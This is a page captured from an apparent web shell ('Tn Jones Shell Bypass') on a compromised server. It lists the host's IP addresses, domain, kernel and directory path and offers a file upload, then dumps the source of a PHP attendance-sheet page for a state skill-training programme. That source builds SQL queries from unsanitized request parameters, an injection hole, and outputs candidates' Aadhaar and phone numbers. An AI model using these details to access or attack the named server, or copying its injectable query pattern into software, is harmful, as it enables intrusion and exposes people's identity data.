Tn Jones Shell Bypass
:
3.142.164.254
:
160.187.54.56 / upgov.net
:
Linux 160-187-54-56.cprapid.com 4.18.0-553.22.1.lve.1.el7h.x86_64 #1 SMP Tue Oct 8 14:36:03 UTC 2024 x86_64
:
/
home
/
upgov
/
www
/
rpl
/
report
/
Upload File:
files >> /home/upgov/www/rpl/report/batches.php
<?php date_default_timezone_set("Asia/Kolkata"); ?> <?php include("connection.php"); ?> <html> <head> <title>Admin Login : RAMA-DDUGKY</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="keywords" content="Shoppy Responsive web template, Bootstrap Web Templates, Flat Web Templates, Android Compatible web template, Smartphone Compatible web template, free webdesigns for Nokia, Samsung, LG, SonyEricsson, Motorola web design" /> <script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script> <!-- jQuery (necessary for Bootstrap's JavaScript plugins) --> <link href="css/bootstrap.css" rel="stylesheet" type="text/css" media="all"> <!-- Custom Theme files --> <link href="css/style.css" rel="stylesheet" type="text/css" media="all"/> <!--js--> <script src="js/jquery-2.1.1.min.js"></script> <!--icons-css--> <link href="css/font-awesome.css" rel="stylesheet"> <link href="bower_components/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet"> <!-- MetisMenu CSS --> <link href="bower_components/metisMenu/dist/metisMenu.min.css" rel="stylesheet"> <!-- DataTables CSS --> <link href="bower_components/datatables-plugins/integration/bootstrap/3/dataTables.bootstrap.css" rel="stylesheet"> <!-- DataTables Responsive CSS --> <link href="bower_components/datatables-responsive/css/dataTables.responsive.css" rel="stylesheet"> <!-- Custom CSS --> <link href="bower_components/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css"> <!--Google Fonts--> <link href='//fonts.googleapis.com/css?family=Carrois+Gothic' rel='stylesheet' type='text/css'> <link href='//fonts.googleapis.com/css?family=Work+Sans:400,500,600' rel='stylesheet' type='text/css'> <!--static chart--> <script src="js/Chart.min.js"></script> <!--//charts--> <!-- geo chart --> <script src="//cdn.jsdelivr.net/modernizr/2.8.3/modernizr.min.js" type="text/javascript"></script> <script>window.modernizr || document.write('<script src="lib/modernizr/modernizr-custom.js"><\/script>')</script> <!--<script src="lib/html5shiv/html5shiv.js"></script>--> <!-- Chartinator --> <script src="js/chartinator.js" ></script> <!--geo chart--> <!--skycons-icons--> <script src="js/skycons.js"></script> <!--//skycons-icons--> <script type="text/javascript"> function ExportToExcel(mytblId) { var htmltable = document.getElementById('printpage'); var html = htmltable.outerHTML; window.open('data:application/vnd.ms-excel,' + encodeURIComponent(html)); } </script> <style type="text/css"> .PrintTable { margin: 2 auto; width: 54%; color: #000; font-size: 15px; } .PrintTable td { border: 1px solid; height:35px; } .PrintTable table { color: #000 !important; } .PrintTable table td { border: none; } .tableColumnBorder { color: #000 !important; } .tableColumnBorder td { border: 1px solid !important; } .spanHead { width:25%; font-size: 18px; font-weight: bold; text-align:center; } .style1 { margin: 2 auto; color: #0000A0; font-family: Verdana, Arial, Helvetica, sans-serif; } .style2 {font-family: Verdana, Arial, Helvetica, sans-serif} .style3 {color: #FF0000} </style> <script type="text/javascript"> function printdiv() { //your print div data //alert(document.getElementById("printpage").innerHTML); var newstr=document.getElementById("printpage").innerHTML; var header='<header><div align="center"><h3 style="color:#EB5005">Print</h3></div><br></header><hr><br>' var footer =""; //You can set height width over here var popupWin = window.open('', '_blank', 'width=1100,height=600'); popupWin.document.open(); popupWin.document.write('<html> <body onload="window.print()">'+ newstr + '</html>' + footer); popupWin.document.close(); return false; } </script> </head> <body> <form method="post" action="#" id="form1"> <div class="divhead"> <a href='#' onclick='printdiv()' > <img src='images/Printer.png' title='printer' height='20' align='right' style='margin-right:20px;text-align:right;'> </a> <a href='#' onclick='ExportToExcel()'><img src='images/excel.png' title='excel' height='20' align='right' style='margin-right:10px;text-align:right;' ></a> <a href='http://rpl.upgov.net/report/batch_list.php'> <b>BACK</b> </a> </div> <?php $regid=$_REQUEST['id']; $dd=$_REQUEST['dd']; $sql=mysql_query("select distinct * from Uppcl_Rpl where Batch_Code='$regid' and DomicileDistrict='$dd'"); if(mysql_num_rows($sql)>0) { $r=mysql_fetch_array($sql); ?> <div id='printpage'> <h6 align="right" style="text-align:right;font-size: 20px;">Annex-2</h6> <h3 align="center">Power Sector Skill Council <br> UPPCL- RPL Skilling Development Initiative <br>ATTENDENCE SHEET </h3> <table id='fixTable' border='1' class='table table-striped table-bordered table-hover' style='font-size:16px;' > <tbody> <tr> <td class="spanHead" colspan="4" align="center">Batch_Code : <span class="spanChild style2" id="lblCentreName"><?php echo $r['Batch_Code'];?></span></td> </tr> <tr> <td class="spanHead" >Batch Start Date: : </td> <td ><span class="spanChild style2" id="lblCentreName"><?php echo $r['Batch_Start_Date'];?></span></td> <td class="spanHead" >Batch Start Time: </td> <td ><span class="spanChild style2" id="lblCentreName"><?php echo $r['Batch_start_time'];?></span></td> </tr> <tr> <td class="spanHead">Batch End Date: : </td> <td><span class="spanChild style2" id="lblCentreName"><?php echo $r['Batch_End_Date'];?></span></td> <td class="spanHead">Batch End Time: </td> <td><span class="spanChild style2" id="lblCentreName"><?php echo $r['Batch_End_time'];?></span></td> </tr> <tr> <td class="spanHead">Assessment Date: </td> <td><span class="spanChild style2" id="lblCentreName"><?php echo $r['Batch_Assessment_date'];?></span></td> <td class="spanHead">Assessment Time: </td> <td><span class="spanChild style2" id="lblCentreName"><?php echo $r['batch_assesment_time'];?></span></td> </tr> <tr> <td class="spanHead">Training Provider/ RPL Facilitator(Organization Name): </td> <td><span class="spanChild style2" id="lblCentreName"><?php echo $r['Training_Provider'];?></span></td> <td class="spanHead">Name of the Trainer Imparting Training : </td> <td><span class="spanChild style2" id="lblCentreName"><?php echo $r['Trainer_Name'];?></span></td> </tr> <tr> <td class="spanHead">State: </td> <td><span class="spanChild style2" id="lblCentreName">UTTAR PRADESH</span></td> <td class="spanHead">District: </td> <td><span class="spanChild style2" id="lblCentreName"><?php echo $r['DomicileDistrict'];?></span></td> </tr> <tr> <td class="spanHead">Job Role: </td> <td><span class="spanChild style2" id="lblCentreName"><?php echo $r['Trade'];?></span></td> <td class="spanHead">Sector: </td> <td><span class="spanChild style2" id="lblCentreName">Power</span></td> </tr> <tr> <td class="spanHead">Location Address: </td> <td colspan="3"><span class="spanChild style2" id="lblCentreName"><?php echo $r['Location'];?></span></td> </tr> </tbody> </table> <?php } ?> <?php $regid=$_REQUEST['id']; //include of db config file include ('paginate.php'); //include of paginat page $per_page = 1000; // number of results to show per page $result = mysql_query("SELECT * FROM Uppcl_Rpl where Batch_Code='$regid' and DomicileDistrict='$dd' order by sno Desc "); $total_results = mysql_num_rows($result); $total_pages = ceil($total_results / $per_page);//total pages we going to have //-------------if page is setcheck------------------// if (isset($_GET['page'])) { $show_page = $_GET['page']; //it will telles the current page if ($show_page > 0 && $show_page <= $total_pages) { $start = ($show_page - 1) * $per_page; $end = $start + $per_page; } else { // error - show first set of results $start = 0; $end = $per_page; } } else { // if page isn't set, show first set of results $start = 0; $end = $per_page; } // display pagination $page = intval($_GET['page']); $tpages=$total_pages; if ($page <= 0) $page = 1; ?> <div class="panel panel-default"> <div class="panel-heading"> <h4>Attendance of Candidate to be taken on Batch Start Date till Assessment Date. Date columns may be added or deleted depending on duration. </h4> </div> <?php $reload = $_SERVER['PHP_SELF'] . "?tpages=" . $tpages; echo "<div class='panel-body'>"; echo "<div class='table-responsive'>"; // display data in table echo "<table id='fixTable' border='1' class='table table-striped table-bordered table-hover' style='font-size:16px;'>"; echo " <thead> <th>Sno</th> <th >Candidate_Name</th> <th >Years_of_Work Experience</th> <th >Aadhaar_Number</th> <th >Contact_Number</th> <th>____/____/________</th> <th>____/____/________</th> <th>____/____/________</th> <th>____/____/________</th> <th>____/____/________</th> <th>____/____/________</th> </tr> </thead>"; // loop through results of database query, displaying them in the table $count1=0; for ($i = $start; $i < $end; $i++) { $count1=$i+1; // make sure that PHP doesn't try to show results that don't exist if ($i == $total_results) { break; } // echo out the contents of each row into a table echo " <tbody>"; echo "<tr " . $cls . " class='odd gradeX'>"; ?> <td style='padding: 05px 0;text-align: center;'><?php echo $count1;?></td> <td style='padding: 10px 0;text-align: center;'><?php echo mysql_result($result, $i, 'Candidate_Name');?> <?php echo mysql_result($result, $i, 'Candidate_middle_name');?> <?php echo mysql_result($result, $i, 'Candidate_last_name');?></td> <td style='padding: 05px 0;text-align: center;'><?php echo mysql_result($result, $i, 'Work_Exp');?></td> <td style='padding: 10px 0;text-align: center;'><?php echo mysql_result($result, $i, 'Aadharcard_no');?></td> <td style='padding: 10px 0;text-align: center;'><?php echo mysql_result($result, $i, 'Contact_No');?></td> <td style='padding: 10px 0;text-align: center;'><?php echo mysql_result($result, $i, 'Average');?></td> <td style='padding: 10px 0;text-align: center;'><?php echo mysql_result($result, $i, 'Comment');?></td> <td style='padding:10px 0;text-align: center;'><?php echo mysql_result($result, $i, 'Reference');?></td> <td style='padding: 10px 0;text-align: center;'><?php echo mysql_result($result, $i, 'Average');?></td> <td style='padding: 10px 0;text-align: center;'><?php echo mysql_result($result, $i, 'Comment');?></td> <td style='padding:10px 0;text-align: center;'><?php echo mysql_result($result, $i, 'Reference');?></td> </tr> <?php echo " </tbody>"; } // close table> echo "</table>"; echo '<div class="pagination"><ul>'; if ($total_pages > 1) { echo paginate($reload, $show_page, $total_pages); } echo "</ul></div> <div>This to confirm that necessary training and assessment in respect of above mentioned candidates has been conducted satisfactorily by____________________________________________________________________________(Training provider) of Power Sector Skill Council.</div> <div> <p>Signature & Stamp</p> <p>Name of the Authorized Signatory:</p> <p>Designation:</p> <p>Contact No:</p> </div> "; // pagination ?> </div> </div> <!-- /.table-responsive --> </div> </form> </body> </html>